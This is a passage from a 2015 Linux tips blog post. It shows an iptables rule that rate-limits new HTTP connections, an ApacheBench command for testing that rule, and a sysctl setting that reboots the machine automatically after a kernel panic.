<span class="nv">$IPT</span> -I INPUT -p tcp --dport <span class="k">${</span><span class="nv">HTTP_PORT</span><span class="k">}</span> -i <span class="k">${</span><span class="nv">INET_IF</span><span class="k">}</span> -m state --state NEW -m recent --update --seconds <span class="k">${</span><span class="nv">SECONDS</span><span class="k">}</span> --hitcount <span class="k">${</span><span class="nv">BLOCKCOUNT</span><span class="k">}</span> -j <span class="k">${</span><span class="nv">DACTION</span><span class="k">}</span>
<span class="c"># for test we can use</span>
ab -c <span class="m">100</span> -n <span class="m">1000</span> http://ip.ad.dr.es/
iptables -vL</code></pre></div>
<h3 id="reboot-linux-with-kernel-panic">Reboot linux with kernel panic</h3>
<div class="highlight"><pre><code class="language-bash" data-lang="bash"><span class="c"># /etc/sysctl.conf</span>
kernel.panic <span class="o">=</span> 15
<span class="nv">$ </span>sysctl -p</code></pre></div>
<p><a href="https://jivoi.github.io/2015/07/01/linux-unix-it-tips-and-tricks-number-3/">Linux-Unix-IT Tips and Tricks #3</a> was originally published by EK at <a href="https://jivoi.github.io">EK</a> on July 01, 2015.</p>